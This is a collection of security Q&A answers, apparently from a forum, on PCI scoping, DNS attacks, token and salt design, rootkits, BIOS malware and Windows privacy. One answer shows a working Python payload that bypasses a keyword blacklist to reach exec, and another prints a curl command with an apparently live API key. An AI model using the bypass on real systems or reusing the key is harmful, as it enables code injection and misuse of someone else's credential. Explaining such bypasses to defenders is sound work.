  for the security of end users. Together, the two companies can further
  secure and enhance BlackBerry customers' mobile experience."


Encryption of PCI data, and PCI-DSS scoping

Oh.  As per your update...

No.  Firewalls not connected to the CDE are not in scope simply because encrypted PAN data transits them.  If that were the case, the whole freaking Internet would be in scope.

Part of being PCI compliant involves mapping out cardholder data and network topology.  The firewall closest to your CDE is in scope, and if the assessor determines it provides appropriate controls, then it removes outward devices from scope.  You may wish to review Network Segmentation on pages 10-11 of PCI DSS 2.0 and Appendix D.

You also need to watch how scope creeps in - you may want to look at the Open PCI DSS Scoping Toolkit, which isn't official but which reflects the way many QSAs try to break this down.  So if your second firewall only sees encrypted PAN data, it's not in scope, but what if it protects your Windows Active Directory Domain Controller, and your CDE environment uses AD credentials?  Maybe that puts AD in scope.  Maybe that puts the firewalls protecting the AD servers in scope.  It can get tricky, and it can vary by QSA, and from what I've heard scope infection is going to get worse with DSS 3.0.

Old answer (pre-question update):

Yes, it is.  The entirety of PCI DSS Requirement 1 (Install and maintain a firewall configuration to protect cardholder data) is about making sure you've got a firewall in front of your cardholder data environment to protect it, and making sure it's set up and maintained properly.

Encrypting PCI data to send it through the firewall is Requirement 4 (Encrypt transmission of cardholder data across open, public networks).  It's a base requirement, not something you do to try and remove firewalls out of scope.

The encryption protects that data.  The firewalls protect the servers and networks.  PCI DSS require you implement both.


A DNS attack happens when an attacker can influence how your computer will resolve host/domain names.

That can happen if an attacker is able to:

Change the DNS server IP address in the network settings on your computer
Change the DNS server IP address in the network settings on your router
Change the hosts file on your computer
Intercept and change DNS responses that are going to your computer
Poison the DNS cache of the DNS server you are using, or the cache of your router or your PC
There are also other ways...

If that happens, the attacker can easily redirect you to sites you did not intend to visit. For example if you type in www.google.com in your browser, your browser will try to first resolve that host/domain name to an IP address. And if the attacker is controlling the way your PC does that, he can send you any IP he wants that you will then visit instead of the IP of www.google.com.

When using the ToR browser, your PC is not resolving the host/domain name to an IP address, but the ToR exit node does that. If the ToR exit node is attacked, you could again be redirected to wrong destinations.


Is there anything insecure about Google ReCaptcha?

Well, there could be a couple of concerns:

Denial of service: In case the Google reCaptcha system somehow goes down, your users will probably not be able to authenticate anymore. This could also happen if they implement some kind of update, which breaks the whole system.
External JavaScript libraries: when using Google reCaptcha, you need to include some JS libraries. In case Google wants to execute some XSS attack, you have just made it a lot easier for them.
Tracking: anyone clicking through the reCaptcha 'consents' to be tracked by Google. This may impact your user's privacy, as well as provide a means for Google to track traffic on your website.

However, as mentioned in this answer, they probably care more about their reputation than about compromising your website. Although I doubt that when it comes to the 'tracking' concern.


A configuration file is not publicly viewable over the internet as long as the permissions are setup correctly. Configuration files usually do not output any data directly anyway.

They are able to download a copy of the configuration file if they exploit your server and gain access via methods such as SSH, FTP or through a web-based control panel.

Keeping the configuration.php file outside of the web root directory does increase the level of security, however if an attacker was to compromise your server and gain full access then they are still able to access this file.


Missing DKIM, but having digital signature, will this help mitigate ending up in spam folder?

While Vini7 is right about DKIM not being required, I'm afraid he is incorrect as to why.

First, understand that spam filtering is not a technique that is described in an RFC. This means that pretty much everyone does something different, resulting in a large fragmentation about what possible solution to adopt.

First, pretty much all systems works as a Bayesian decision-making tree with a few shortcuts built-in: you start with a base probability that a mail is spam (called credence) and feed that mail through a series of tests that will  update that probability. In the end, depending on the probability you end up with, the mail is rejected, accepted but flagged for further vetting (placed in the spam folder) or accepted as legitimate. The shortcuts are some of the tests that can, on their own, have the mail rejected altogether.

What test are used, exactly, vary from domain to domain but here are the most frequently used ones:

IP reputation check: this is typically done at SMTP level before the mail is even transmitted. The receiving server will check the "reputation" of the sender system IP address against one or more online databases and will typically (but not always) reject connections coming from IP that have been sending spam recently altogether.
Headers check: The headers that comes with he message are checked for consistency. This is where DKIM and SPF work: if setup properly, it can allow the receiving system to know if the sender email is valid or not. Again, depending on how everything is setup, it can result in an outright rejection or simply update the credence (positively or negatively).
Content analysis The full content of the mail is analyzed. How it is done varies a lot but, basically, this step typically updates the credence one way or another.
Rule-based filtering This is usually a last step where a user can specify keywords, senders or other properties of the email that will tell the system to treat it as ham, spam directly or update the credence.

(there are plenty of other tests that are performed in some situations and domains. I couldn't possibly list them even if I knew them all. Just expect some of them to be really, really bonkers).

After all check have been evaluated and, unless the mail has already bee rejected by a shortcut rule, the final credence will be compared with configured value: under a specific threshold, it will be rejected. Between this value and another threshold, it will be redirected to the spam folder and higher than that it will be treated as legitimate.

Some system have a last step: the user can manually mark a message as "ham" or "spam" and the system will use that information to update its analysis engine: it will attempt to learn from the result of its estimations.

So, how do you optimize the chances of your mail not being sent to the spam folder?

First, be sure to have a "good" IP reputation for your outgoing SMTP gateway. You can easily check the reputation of your IP using SMTP blacklist checker services (for instance, this one or this one). If your IP is in a blacklist, make sure you understand why (and, if possible, fix it).

Second, make sure your infrastructure is 100% clean: many system have weird or dated rules that will, for instance, reject your mail if the sending system does not have a reverse DNS entry or if that reverse does not match your SMTP MX record (the fact that this is idiotic does not prevent people from doing it).

Third, use all possible ways for your recipient to check that your mail is legitimate: if possible, use SPF and DKIM. If you can't do both, do at least one. As you mentioned, digitally signing your mails will sometimes help. Avoid sending the same mail to a large number of recipients. make sure that your return path (the email address that would be used if someone replied to you email) is somewhat valid (at least make sure the domain resolves and that it has an MX record in your DNS).

When all else fails, contact the admins of the recipient's domain and ask them for assistance: it is their job to make sure legitimate email is not misqualified.


ASCII to HEX to obscure filenames: Is this common?

Nope - it's a contrived situation for CTFs. Helps to train you in dealing with different encodings.

Security by obscurity has a niche place, but only as a layer on top of a more robust security framework. Typically you would need a very specific threat scenario for obscurity to make sense as a risk mitigation technique.


Are GUIDs safe for long lived access tokens?

When wondering whether a certain security measure is sufficient, the question is: what threat should it be protecting against? Or, seen from the attacker's side: what does it not protect against?

A version 4 GUID is some 120 bits of randomness. Assuming that their code uses a CSPRNG for generating these GUIDs, this is perfectly unpredictable. Without any other knowledge, an attacker could never guess this token. You would have to find some other vulnerability (thereby getting access to an existing token) in order to impersonate someone.

Does that mean this is perfectly secure? Is this the best possible system? No, that is not the case.

As you mentioned, the tokens are long-lived. If the token is obtained by an attacker at any point in time, the attacker will have indefinite access until the attacker is detected and the token revoked (removed from the database of valid tokens). This is already better than a system like JWT, where tokens can't be revoked and some hybrid system of short-lived access tokens and long-lived refresh tokens has to be used. But what about using a shorter-lived token here as well? Those are great, but you have to consider: how does a legitimate user obtain a new token once the old one expired? Whatever the answer is: could an attacker do the same thing? You would have to require some extra confirmation that an attacker can't do. Typical examples are email confirmation or a cookie that is only set in the browser of the user. Similarly, 2-factor authentication could be used.

To prevent anyone with read-only access to the table of valid tokens to escalate their privileges to that of a valid user, hashing can be used. Since the GUIDs are (assumed to be) strong by themselves, this can be as simple as applying a single round of SHA-256 to it (no salt or pepper needed). If an attacker now has read-only access to the table of valid tokens, they would have to crack the ~120-bit token before being able to obtain the GUID that they can use to make requests. Cracking a 120-bit token is impossible for the foreseeable future.

Against TLS failing, one would basically be implementing a variant of TLS on top of the existing TLS: if TLS fails, but you still want all the guarantees of TLS (non-replayability, integrity, confidentiality), you are basically reinventing TLS. Given the sensitivity of this system (you mention "the api allows extraction of passwords"), defense in depth might make sense, but it does feel like overkill with a potential for crypto soup (might introduce other vulnerabilities as well as giving a false sense of security).

In conclusion, I don't see an immediate issue with this system. Some hardening can be applied (hashing the tokens in the database, two-factor authentication), but this doesn't sound inherently vulnerable to me. Secret tokens for API access are common practice. To get unauthorized access to the authenticated API calls, it seems that one would have to find and leverage other vulnerabilities first.


Is this RFID blocking wallet actually secure?

It appears as though this RFID blocking wallet is simply not forming a strong enough faraday cage, and sufficient amount of RF power is able to simply go through the "RFID blocking" wallet; or it's not a complete seal and it simply goes around.   This means the product was likely poorly made, and at the least, clearly defective.

RFID Obeys Inverse Square Law

Radio waves, like all other forms of electromagnetic energy, obey inverse square law.  So, holding it closer does exponentially increase the ability to send/receive radio from the transmitter to card.  In this case, holding it closer allows it to be read in the wallet....meaning the wallet is somewhat blocking the waves, but not enough.

Frequency vs. Power

It's not necessarily just the operating frequency of the RFID card that matters here, but the amount of power that the receiver/transmitter is using.  If it's a passive tag, then only the receiver is powered -- meaning the RFID blocking wallet would be more effective.  Active tags have a battery and their own transmitter, and depending on the freshness of that battery and the electronics within can make a much stronger signal than other RFID cards.

Most RFID cards these days are HF/UHF, with LF being seldom used. UHF/HF RFID cards will work at a much greater range =than the lower frequency cards.  However, credit cards are typically passive while door tags active..which probably explains the experience here moreso than the frequency difference.

High-powered RFID receivers (like those used for hacking) can scan RFID cards remotely at distances of up to 10 meters.

Going around the shielding

In the case of poorly designed RFID "blocking" wallets, there is often room for the omnidirectional radio waves to essentially seep out of the wallet through a fold.  This is because it's not 100% sealed, and as such not a true Faraday cage.  By contrast, an Altoids tin container can typically block 100% of attempts at reading RFID cards held inside...if it's kept shut, once the lid is open or even ajar the card can be read.

Thus, in order to defeat RFID-reading based hacks, you'll need an RFID-blocking wallet that forms a strong enough Faraday cage (thick enough to attenuate RFID HF) and has sufficient insulation and sealing to prevent being read by high-powered readers.


Does blocking keywords prevent code injection inside this interactive Python file?

Simple blacklists are about the worst way to patch a vulnerability. They'll create a lot of false positives and any determined attacker will usually find a way around them.
Web Application Firewalls are a good example. The detection rules they employ are way more complicated than your simplistic blacklist, yet they don't catch everything, and every now and then, bypasses come up for things they are supposed to catch.

I don't see any possibility to escape from this.

Or so you think. You just haven't looked long enough.
vars(__builtins__)['ex'+'ec']("print('pwned')")
This sails right through your filter. It calls the exec() function which then goes on to print 'pwned'.
Now you can modify your blacklist to catch this as well, but someone else will come up with another way.

99% of the time I see someone using something like exec or eval, it's completely unnecessary. If you can avoid using exec, do yourself a favor and get rid of this vulnerability waiting to be exploited. If, however, you absolutely need to use exec, then do as user @amon suggested in the comments: Create a new pipe, fork and drop as many privileges in the child as possible, and then execute the code. Use the pipe to communicate between the child and the parent processes.


As far as I can see, they should have just used TLS to get better encryption with less work.

Using RSA to exchange ephemeral AES session key is one of the most common way TLS are configured.

Several issues with this custom scheme:

2048-bit RSA is considered the minimum standard for RSA nowadays. The 1024-bit RSA is nowadays considered to be brute forceable by highly advanced attacker in the foreseeable future.
AES encryption does not authenticate the sender, and adding authentication to an encryption is quite fiddly to do correctly. I suggest changing step #3 to use Authenticated Encryption, recent TLS libraries supports AEAD, for example, with GCM
In step #2, the session key is sent over the network. TLS would use Diffie-Hellman to have the client and server derive a symmetric session key over untrusted communication channel.


Are these requests going to have any impact on the server?

Everything has some impact but if this impact is relevant depends on  how many requests these are, how much your server can handle and if these requests trigger some kind of expensive actions in the server - none of this is known.

But in general such "noise" is very common on the internet so you better should be able to handle such requests and handle these as cheap as possible. If your server is configured to only handled static pages and just responds with 404 to these requests then this should be cheap enough.

  Should I use rate limit?

I don't think that this helps in these cases since it will only result in another error response to the client, which is about the same effort as the 404 response. The client will likely not care about this error as much as it did not care about the 404 response, i.e. it will not slow down the client.

What I do is redirect such requests to a different port on same domain and have an iptables DROP rule on this port. Many will actually follow these redirects and try to access the new URL without success, i.e. they will run into a timeout after a while since they cannot connect to the new port (due to the DROP rule). This will slow them down.


Is the iptables + DROP based implementation of port knocking vulnerable?

As a matter of fact, there is no response in DROP. But yes, it is different as the OS will send back an icmp reply for a closed port indeed.

About the safety of the code, it simply drops all other ports as well, so it seems safe enough:

sudo iptables -A GATE1 -j DROP


Special form of file system to prevent recovering after secure wipe data

The right way to "wipe out" data is to use encryption: never let unencrypted data ever hit the disk. If you do that, then destroying the decryption key is sufficient to destroy the data. The decryption key is small and in many case you can keep it in RAM only (e.g. you type it upon boot, as a "password", which really means "a key that a human remembers"); if the key is in RAM and stays only in RAM, then destroying it is as simple as shutting down power (note, though, that RAM contents may resist loss of power for a few seconds or minutes).

File wiping is what you do when you did not do things the right way. You did write sensitive information on a physical medium, without any encryption. And you would like to "fix" that. There are three main problems with that:

File deletion does not overwrite the data on the physical medium; it just marks it as reusable for other files.
Sometimes, even writing over the data may not actually destroy it. This is where the so-called "file shredders" intervene, by overwriting the data several times with special patterns which ought to destroy all traces of the past data. However, such shredders are quite specific to the actual disk technology, and, in practice, quite specific to the technology used by disks 12 years ago; on modern disks, the shredders are likely to be useless and unnecessary. Conversely, with SSD, quite a lot of data can remain out of reach of the most thorough shredders. So file shredders are either total overkill or insufficient, with no middle ground.
Copies of parts of the file data can be stored in other areas. This may happen with virtual memory because the file data, before being in files, was in RAM. This may also happen with journaling filesystems (depending on the filesystem implementation and configuration).

So any solution based on file "wiping" is likely to be inefficient and incomplete. Anyway, despite this incompleteness, some people have tried to do some sort of automating shredding. This can be done at various level; this one does it by patching the unlink() C library function call (through an LD_PRELOAD trick). Statically linked process would still avoid it, though (but there are very few statically linked applications in a typical Linux installation). I would not recommend it (and the author himself is wary of it); notably, file-shredding on a SSD is not only ineffective (see above), but also noticeably shortens the lifetime of the said SSD.


Someone uses my service to spam people with sms. How to deal with this?

Consider the use of dynamic IP address blocking - I have a good amount of success with the following two free services:

https://sigs.interserver.net/ipslim.txt
https://api.abuseipdb.com/api/v2/blacklist this one requires the use of an api key, and update frequency is limited to four per 24hr period

The following command uses curl to connect to the AbuseIPDB, authenticate with the account token, and then download the result, with various parameters set according to the API documentation
curl --fail --write-out '\nCURL_%{http_code}+'$(date +'%Y%m%d%H%M%S') --silent --tlsv1.2 -H "Key: 7d467ef655e91e7db69f2078df1b0c2ccefb8eedc0372e9187b0d211aa1f336b73271e145f12aebc" -H "Accept: text/plain" -d countMinimum=15 -d maxAgeInDays=5 -d confidenceMinimum=90 -G https://api.abuseipdb.com/api/v2/blacklist

I access these services periodically, to extract the contents in the database, and create blocked ip address records as files within a tiered directory structure on the file-system: /OCTET1/OCTET1.OCTET2/IP4ADDR (dotted decimal). If the entry already exists, I touch the file again to update the metadata. Over time, this builds into a useful database.
Note to self: edit this answer to include the bash commands that prevent unbounded growth of the blocked ip files db...
In the context of Litespeed webserver running on Cloudlinux, I use .htaccess files to check to see if the remote ip address exists in a file on the file-system (representing a blocked address).
SetEnvIf Remote_Addr  '([0-9]{1,3})\.'              USR_RADDR_ONE=$1
SetEnvIf Remote_Addr  '([0-9]{1,3}\.[0-9]{1,3})'    USR_RADDR_TWO=$1

ErrorDocument 410 'Your IP address exists in an automated blacklist: connection refused.'
RewriteCond /etc/._ipblock_rbl/%{ENV:USR_RADDR_ONE}/%{ENV:USR_RADDR_ONE}/%{REMOTE_ADDR} -f
RewriteRule ^ /e410_deny_%{ENV:USR_RADDR_TWO} [G]

I can't take credit for this idea, which stops about 50% of our traffic at the gate, and hasn't resulted in a single complaint to request unblocking, in nearly two years of production use. I wish I could find the reference to the source, a European(?) German(?) author of a .htaccess help site ?? If anyone knows, could you please edit or comment? thanks!


Restrict access to web application to selected computers?

Yes.

And there are lots of different ways to do so. You didn't say how sensitive/valuable the asset you are protecting is - nor how secure the network is; this has some bearing on the level of protection you need to provide for the application.

An obvious solution is to block access by IP address either in the webserver config, the application or on the firewall between the server and network. However this is only going to be effective within a well managed, highly secured network. Spoofing an IP address is easy within a LAN.

But you say that you have multiple locations (but did not specify how the sites are connected). So this is unlikely to be workable in your case.

A better solution would be to use clent certificates. These cannot be spoofed (if configured correctly) but can be copied (it's just a file) unless implemented in a hardware module or at least implemented in a seperated privilege runtime with appropriate permissions.

There are other aproaches, such as one time passwords stored in a suitably secure location or running a VPN on top of your LAN (e.g. ssh, ipsec or openvpn).

None of these should be considered a substitute for user authentication.


Prevent brute force attacks on web publishing logins

There are a number of ways of mitigating brute-force attacks, depending on the level of control and access you have to the systems in question.

At a firewall level, you may be able to do rate limiting to throttle the number of connections from a given IP address. Also some firewalls will have Intrusion Prevention System capabilities which could allow for brute-force attacks to be throttled or blocked.

At a system level similar principles can be applied.  Software like Fail2Ban can be used to block brute-force password guessing attacks by blocking the source IP addresses of those attacks.

This kind of blocking isn't perfect against a determined attacker as they can switch IP addresses to get round it, but it will generally work fine for the less targeted attacks.


I can't access websites that use HTTPS, instead getting the message "your connection is not private"!

Whilst I don't know the specifics of your ISP, I would say that it's likely that what they're doing here is intercepting all traffic you send over the Internet. In order to do that (without you getting error messages whenever you visit an HTTPS encrypted site), they would need to install a root certificate, which is what you mention in your post.

They need to do this as what this kind of interception usually entails is creating their own certificate for each site you visit.  so for example if you visit https://www.amazon.com they need to have a certificate that your browser considers valid for that connection (which is one issued by a trusted Certificate Authority, either one provided with the browser or one you manually install).

From your perspective, the problem here is it means that they can see all your Internet traffic including usernames/passwords/credit card details.  So if they want to, they can look at that information.  Also if they have a security breach it's possible that other people might get access to that information.  In addition, they may also gain access to any account that you access over this Internet connection (e.g., email accounts).  Finally, installing this root certificate allows them to modify your Internet traffic without detection.

What I would recommend is that you query with them exactly why they need to see the details of your encrypted traffic (e.g., is this a legal requirement for your country) and if you're not 100% satisfied with the response, get a new ISP.  Another possibility is to use a VPN and tunnel all your traffic through the VPN.  If you are not happy with your ISP gaining this access to your HTTPS connections, do not install the root certificate they provided you.


How can I see the data content (HTML, JS, etc) in HTTPS responses in Wireshark?

Man-in-the-Middle means that you also control the keys. Encryption means that you cannot "just sniff", and that you need to be "in the middle" to be able to see anything.

How to get the keys as a MITM is straightforward: you are the server the client negotiates TLS with, so you get the key. You pass on the traffic to the intended destination from then on after you negotiate TLS with that server.

What you are likely seeing at the application layer is not encryption but compression and encoding. Wireshark offers tools to decode those things.


How to make an undeletable, hidden file, which persists after formatting an SD card?

It's not possible to make an "un-deletable" file, because formatting an SD card doesn't delete the file. Formatting the SD card removes the data structure that tells you that the file ever existed.

Even if you were to use forensic tools to examine the SD card, the thief could simply overwrite the entire SD card with zeroes, random data or whatnot, and you would be out of luck again.

What you can do however is physically mark the SD card. Non-erasable pen with your initials should work just fine. This should physically mark your SD card as yours. While it doesn't prevent theft outright, it might cause someone like a classmate to hesitate from taking your SD card.

Other than that, I would recommend taking better care of your removable media.

Don't leave your SD card unattended. Always have an eye on it. If you have to lend it to someone, get it back as soon as possible.
Always have backups of critical data. The more "spread-out" your data is, the less likely it is to disappear in case of theft, damage to the SD card, accidental deletion, etc.
Don't transport potentially sensitive data unencrypted. Always use strong encryption with a long, random passphrase to ensure the confidentiality of your data.


What are the demerits of a derived salt for password storage?

The reason for adding a little salt to a password before hashing it, is to make it much harder to reverse the hashing. Therefore a completely random number is the best solution.

Having to come up with a "derived salt" number which is unique enough so as most of your user passwords have a different hash is going to be difficult. When generating a large enough salt number (16 bytes, for example) will likely be unique for all the users who will ever create an account on your system without much hard work on your part to determine the uniqueness.

Also, using a parameter such as the email address of the user can be tricky. If they want to change their email address, you lose your "derived salt" unless you force the user to change their password at the same time they change their email address (or any other user parameter used in the computation of your "derived salt".) So either way you would certainly want to save the salt in the database to make sure you can always compare passwords on future user log ins.


Job applicants submit code, how do companies securely test it?

To a large degree, this is a problem that solves itself.  To understand why, we first must understand the goals of a test like this.   More specifically, running the code is not high on the list of priorities.  Understanding it, however, is.

The problems that will be addresses by the developer are well understood by interviewers, and the interviewers are going to have some expectation of how the problem will be solved, technically.  If it's a problem within an existing code base, the first thing that I'm going to do is diff the initial code base and the developers solution to see every single change they've made, and changes that I'm not expecting are going to stand out, and get extra attention.  Even the changes I am expecting are going to get a significant level of scrutiny as I make sure I've understood what the developer has done and assess the quality of the work.

So, aside from the fact that if you wanted to do something malicious you have to hide it in plain sight in a changeset that will be comprehensively code reviewed by people who are both very good at it, and also already know exactly what they're expecting to see, but there is the challenge of opportunity.  As an attacker, you would have to gain an interview at a company you want to attack, for a position that allows you to do a coding test, and the coding test has to be of sufficient complexity and allow you sufficiently leeway to both insert and hide your attack.  And then they reviewers have to actually choose to compile and run it in order to execute the attack.  And the environment it is run in, has to allow for whatever the end-goal of your payload is to be accomplished.  Ultimately, this requires a lot of stars to be perfectly aligned, and there's almost certainly an easier, less risky way. It just doesn't make a ton of sense as an attack vector.


Social login - authenticate if email exists or create new user

I would strongly suggest independently authenticating every method used. These sites may offer user email information and I think it might be appropriate to use email as a contact method, but I wouldn't use it as a login without the user being able to demonstrate control of both methods that are being combined.

For example, Jane has her Facebook account compromised but was smart enough to use a different password for her email (or perhaps the compromise was through a method that didn't involve a password at all). She might recover that account at a future point, but an attacker could also use it to leverage a takeover of her account on your site.

For this and many other reasons I recommend that if a user is trying to combine multiple access methods, you should properly authenticate with at least one of the old ones and the new one during session where you combine them.


What files should I download or check on a Windows system in case of Local File Inclusion (LFI)?

To try to escalate, you could look for known versions of programs that are known to be vulnerable. You probably wouldn't need to download the whole thing, just enough to get the signature/version.

E.g. DLLs that would signal that an OS patch hasn't been applied. This would give you information you might want to launch another attack. (Or it would give you information that launching that attack would be useless and you should look elsewhere.)


Any risk in using the same salt for several hashes on a user?

The point, and only usage, of the salt is to prevent an attacker from attacking several N elements for less than N times the cost of attacking one. Here, "attacking" means "trying possible values until one is found which matches the known hash value". Without a salt, an attacker could compare his hashed guesses with several hash values, thus sharing the cost of computing the hash; e.g. the attacker has several hash values to attack simultaneously, or the attacker builds a precomputed table of hash values for fast lookup (modulo a space/time swap, both attacks are identical).

If you use the same salt for the password of a user, and for another field, then an attacker could try to attack them both. This will be advantageous for the attacker only if potential values for the other field are also potential passwords, and vice versa. This may or may not apply to your context.

On a general basis, salts should never be reused, if only because consequences of reuse are not easy to detail exhaustively. I recommend that you refrain from reusing your salts.


Time based event, console application on Windows Server -- security implications

If your applications run at specific times, then they must make some allowance for the fact that they may run at times when there is nobody to see them running. This means that you must have some logging system (e.g. using Windows events, or simply by writing into some files). Your debugging should go that way.

Anyway, though writing your own service is not hard, reinventing the wheel is always wasteful. In that specific case, Windows offers a specific task scheduler which is perfectly able to launch your applications (even scripts or console applications) at configurable times, starting in a configurable directory and running under a configurable account. Moreover, there is a specific local policy (called "log on as a batch job") which controls which account(s) may be used for that. This ought to appease your local security people.

(Of course, in many places, there are people with more power than knowledge, who will force you to perform elaborate somersaults through many hoops because of some irrational fear they have. Though the Windows task scheduler is the method recommended by Microsoft to launch tasks at programmable times, you might have to write your own service because otherwise some guy will go into uncontrollable fits -- and be warned that the same guy will deny everything in the event that the loss of time, flexibility or money induced by this needless re-engineering is noticed by somebody in upper management.)


Samsung Galaxy S7- If I drain the battery so its dead and remove the simcard, can it's location be tracked down?

In modern phones, neither the cellular radio (used in triangulation tracking) nor the GPS are powered when a device is truly powered down and functioning normally.  Please note that standby is different than powered down and just tapping the power button does not turn off the radios, as I'm sure you know.  It isn't necessary to drain the battery.

Now if we need to talk about extremes, there are ways in which government agencies and law enforcement have been able to allegedly circumvent this limitation.  The NSA reportedly did it in Iraq in 2004 and while they aren't keen on divulging their specific methods, it is likely they did it using malware to compromise the devices remotely since they wouldn't have had physical access to the devices.  The FBI has also been reported to to do this on a smaller scale.

Physically compromised devices also allow direct access to system resources and potentially even self contained power.  This strains credibility though so I won't go in to much detail, but self-contained tracking devices are not a new technology.

Want to fool them all?  Get a Mylar bag or two and put the phone in them.  It's a lot easier and would prevent all of the above even if you are on the KGB's most wanted list!


How to manually check for rootkits on a server

The number of options for places to hide, places to hook etc is so vast that any step-by-step list for manual checking is going to be incomplete.

And of course, there is a whole other story of kernel rootkits, which leave a very small amount of traces in the system, that can usually be discovered with forensic analysis if implemented correctly.

What you ask for is simply wrong: Even if I start listing things to check, it is going to be very misleading for anyone reading it. The average user's best bet is to use tools like chkrootkit and rkhunter, that while incomplete and easily bypassed, contain the 'list of things to check' you ask for and go through it in an automatic way.

Disclosure: My previous area of research was rootkit-related and I have developed various rootkits and rootkit detection software for linux platforms in the past.


Does malware which infects the BIOS/ Firmware always need 'root' access to do so?

In Earlier days there was lack of access control on BIOS reflashing procedure which could introduce Rootkit into BIOS,ﬂash chip with no root access required. In a much more recent attack, the Mebromi malware rewrote the BIOS of a machine with code that would then write a typical Master Boot Record infection routine to the ﬁrst sector of the disk. This allowed the malware to persist even if the hard drive was replaced or formatted,All of the preceding attacks on the BIOS relied on the Bios being unprotected and easily writable and required no root level access

Disabling root access cannot prevent these bootkits or rootkits from harvesting or stronger root password because there are several ways they can infect
flash the BIOS via usb CD (core boot and PCI roms such as IPXE)
Boot a Payload over network BOOTKIT > No root required
Boot a Payload over wifi/Wimax > no root required
Remotely reflash the Bios/ Network card if necessary> no root required

Some features of these Modern BIOS/Firmware rootkits have

Removes NX bit
Removes CPU updates (Microcode)
Removes SMM protections > SMM Used to get ring 0 access
Disables ASLR
removes protection to allow supervisor procedures to write into read only pages

Since their are techniques/Exploits exists to allow remote write to BIOS/Firmware as discussed by Blackhat Rakshasa Bootkit in 2012
Blackhat

Further the presence of secure boot and trusted Boot in windows 8.1 secures us from older BIOS attacks/Backdooring,however as indicated in recent research
https://media.blackhat.com/us-13/US-13-Butterworth-BIOS-Security-WP.pdf it is still possible for malicious/crafty user to launch attacks


Where is the identification process when I use a key fob to unlock a door

This really depends on the system.  Simple key fobs don't do identification -- your identity is simply "someone who is authorized to open the door".  More sophisticated systems will have your identity programmed into the card or fob, so that both identity and authentication are established during the unlocking process.


How does Windows 10 allow Microsoft to spy on you?

It's worth noting that your first link is in relation to the Windows Insider program. The Windows Insider program provides you with pre-release software that does call home with usage details and other information. This is something that you agree to by installing the Windows Insider preview - if you don't like it, you don't have to install it, it's completely your choice.

The EULA for the released version of Windows 10 doesn't include this section and there is no evidence that this information is being collected (which of course could just mean they're better at hiding it).

The second link that you've provided is regarding the Family functionality, this is functionality that has to be enabled in order for it to work and collects application usage statistics and browsing history. In the instance linked in the article, it's perfectly possible that this functionality was enabled in Windows 8 and expanded upon when the upgrade to Windows 10 occurred. On my clean install I don't have this going on so this isn't enabled by default and has to be something that you opt into - again, when you opt into something like this you're given an agreement to agree with stating that additional information will be collected. If the information wasn't collected, functionality like this simply couldn't work.

Windows 10 has a large number of privacy settings - many of these are on by default but they're easy enough to disable by opening up the Settings app and working your way through the Privacy settings. This covers a large variety of options from your unique advertising identifier, which is shared across various applications to allow Microsoft to track your use of the apps and show you targeted ads, to Bing search in the start menu, which will send your search queries to Microsoft Bing. This also includes many settings from older versions of Windows, such as the SmartScreen filter, which sends URLs to Microsoft for validation.

Windows 10 also contains Cortana, with Cortana enabled, you're asking Microsoft to provide you a personal assistant and this will include sending information about your activities (including applications you run, GPS locations, browsing history) back and forth between your machine and Microsoft. This can include things like your handwriting and what your voice sounds like, but these can be disabled individually within Speech, inking & typing within Privacy settings. Cortana isn't unique in this behavior. (How do you think Google Now and Siri work?)

If you sign into Windows 10 with a Microsoft account, authentication is handled via Microsoft as well. This will also provide you with the functionality to synchronize your desktop settings, passwords, web browser settings and more between multiple devices running Windows 10. If these options are enabled then this is additional information that is synchronized to Microsoft's servers. Each of the individual sync settings can be toggled in the Settings app under Accounts > Sync your settings, or you can simply not log in with a Microsoft account and use a local account. If you're using Windows 10 Home edition, you will need to use a Microsoft account in order to enable BitLocker, and your recovery key will be uploaded to Microsoft's servers. This restriction does not apply to Windows 10 Pro or higher.

With the "Sample submission" option for Windows Defender enabled, Windows Defender will send your files off to Microsoft - for example if you had some kind of confidential document with a macro in it that Windows Defender identified as a threat, with the  option enabled, this file would be submitted to Microsoft for analysis.

There are reports that even with all of the above functionality disabled some information is being passed back and forth to Microsoft (Arcs Technica), and Microsoft's response on this matter is as follows:

  As part of delivering Windows 10 as a service, updates may be delivered to provide ongoing new features to Bing search, such as new visual layouts, styles and search code. No query or search usage data is sent to Microsoft, in accordance with the customer's chosen privacy settings. This also applies to searching offline for items such as apps, files and settings on the device.

It's worth noting that Arcs Technica states this statement from Microsoft is consistent with their findings

Basically, as part of the Windows Feedback and error reporting, diagnostic data is reported back to Microsoft, this can only be disabled in the Enterprise and Server editions of Windows 10 through the use of group policy editor but can only be set to a "basic" mode on Home and Pro editions which "limits the amount of data sent". This can be set in the Settings app under Feedback & Diagnostics.

Microsoft have never hidden the fact that Windows 10 is supposed to be the last major release and that future functionality will be provided as automatic updates. Any such system will require information to be passed to Microsoft to work. Ultimately, there are a lot of components in Windows that will individually and collectively synchronize their status with their online counterparts and this will result in internet traffic.


Admin change user details / account information in admin interface

It depends on the business context of the application. If these concerns are valid for the business context, perhaps you could split the admin role into two separate roles? Or implement a two man rule?


I want to encrypt my SSD, should I still use TrueCrypt or Is there a better open source alternative?

TrueCrypt is still very reliable encryption software. Of course, the key that set is, well the "key" (pun somewhat intended). There are multiple reliable encryption tools for your operating system, most people here won't list them off because of course they may be the creators of said software. I can tell you from personal experience that TrueCrypt, Bitlocker and VeraCrypt are very reliable encryption softwares. Read blogs regarding the matter, and make the decision based upon that. Of course, ever crappy encryption software can be a pain to crack if your encryption key is very secure.

Best of luck in your search, and if you have questions about others, add a comment I will gladly give my 2 cents, as I'm sure others on here will as well.


Should Framebusting be used (not used) on an IdP login page?

From what I've seen Framebusting as a technique is becoming somewhat deprecated as a defence against click-jacking style attacks in favour of setting the X-Frame-Options header (e.g. the OWASP page here and here).  Browser support for the X-Frame-Options headers seems to go back to IE8 so unless you have a really old set of browsers to support it should work ok.

So the short answer is that I'd recommend going down that line rather than using Framebusting Javascript.


The best/most accurate way to test for things like this is in a white-box security assessment approach, by checking the version of Java installed on the system. So on a redhat system something like rpm -qa would provide the version installed, then check the changelogs for the package which should list what CVE's have been addressed.

To automate that, something like Nessus can be used with credentials to provide info. on what outdated packages are installed on a system.

If you're trying to do this "black box" they you'd need to dig into the exact details of the vuln (which may well be tricky if there has been no disclosure of the technical details, which is the case with many issues) and then see if it's remotely exploitable.


How to apply IT Security knowledge to Home Security?

If you're going against an all-out ram-raid, get some shutters, surround your house with concrete bollards, get solid steel doors with secure and recessed locks (Google "K tool"), and rock yourself to sleep in the basement at night. I don't think that's you, but I just had to put in the answer. :)

